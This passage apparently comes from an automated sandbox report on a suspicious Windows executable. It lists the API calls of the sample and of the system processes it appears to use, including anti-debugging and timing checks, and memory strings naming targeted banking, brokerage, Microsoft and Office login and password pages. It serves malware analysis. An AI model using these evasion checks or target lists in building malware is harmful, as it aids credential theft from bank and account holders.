                Source: C:\Windows\SysWOW64\prevhost.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_002FDBBE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002CC2A2 FindFirstFileExW,0_2_002CC2A2
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003068EE FindFirstFileW,FindClose,0_2_003068EE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_0030698F
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_002FD076
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_002FD3A9
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00309642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00309642
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0030979D
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00309B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00309B2B
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00305C97 FindFirstFileW,FindNextFileW,FindClose,0_2_00305C97
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BC7C0 FindFirstFileW,FindNextFileW,FindClose,5_2_003BC7C0
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002942DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002942DE
                Source: al6P40S6.5.drBinary or memory string: ms.portal.azure.comVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: discord.comVMware20,11696494690f
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696494,i
                Source: al6P40S6.5.drBinary or memory string: AMC password management pageVMware20,11696494690
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: word management pageVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: outlook.office.comVMware20,11696494690s
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: East & CentralVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
                Source: al6P40S6.5.drBinary or memory string: interactivebrokers.comVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696494690d
                Source: al6P40S6.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696494690u
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: anara Transaction PasswordVMware20,11696494690x
                Source: al6P40S6.5.drBinary or memory string: outlook.office365.comVMware20,11696494690t
                Source: bxTTlfXQvBrtf.exe, 00000006.00000002.2677806042.000000000147F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
                Source: al6P40S6.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696494690}
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: alstudio.comVMware20,11696494690x
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: w.interactivebrokers.comVMware20,11696494690}
                Source: al6P40S6.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696494690x
                Source: al6P40S6.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
                Source: al6P40S6.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696494690
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2071034457.000001D95198B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
                Source: al6P40S6.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696494690h
                Source: al6P40S6.5.drBinary or memory string: tasks.office.comVMware20,11696494690o
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: merica.comVMware20,11696494690|UE
                Source: al6P40S6.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: on-EU EuropeVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: dev.azure.comVMware20,11696494690j
                Source: al6P40S6.5.drBinary or memory string: global block list test formVMware20,11696494690
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: swordVMware20,11696494690}
                Source: al6P40S6.5.drBinary or memory string: turbotax.intuit.comVMware20,11696494690t
                Source: al6P40S6.5.drBinary or memory string: bankofamerica.comVMware20,11696494690x
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20Aj
                Source: al6P40S6.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690}
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware20,11696494690~
                Source: al6P40S6.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rokers - COM.HKVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696494690]
                Source: al6P40S6.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690x
                Source: prevhost.exe, 00000005.00000002.2682294373.000000000792C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lobal passwords blocklistVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
                Source: al6P40S6.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696494690|UE
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417C13 LdrLoadDll,2_2_00417C13
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030EAA2 BlockInput,0_2_0030EAA2
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002C2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002C2622
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002942DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002942DE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B4CE8 mov eax, dword ptr fs:[00000030h]0_2_002B4CE8
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00D56028 mov eax, dword ptr fs:[00000030h]0_2_00D56028
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00D549A8 mov eax, dword ptr fs:[00000030h]0_2_00D549A8
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00D55FC8 mov eax, dword ptr fs:[00000030h]0_2_00D55FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]2_2_03A663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]2_2_03AEC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]2_2_03AB63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov ecx, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B08324 mov eax, dword ptr fs:[00000030h]2_2_03B08324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]2_2_03A2C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]2_2_03A50310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]2_2_03AD437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]2_2_03AFA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8350 mov ecx, dword ptr fs:[00000030h]2_2_03AD8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0634F mov eax, dword ptr fs:[00000030h]2_2_03B0634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B062D6 mov eax, dword ptr fs:[00000030h]2_2_03B062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]2_2_03A2823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]2_2_03A2826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]2_2_03AB8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]2_2_03AB8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0625D mov eax, dword ptr fs:[00000030h]2_2_03B0625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]2_2_03A2A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]2_2_03A36259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]2_2_03A70185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]2_2_03B061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]2_2_03A601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF61C3 mov eax, dword ptr fs:[00000030h]2_2_03AF61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE1D0 mov eax, dword ptr fs:[00000030h]2_2_03AAE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60124 mov eax, dword ptr fs:[00000030h]2_2_03A60124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
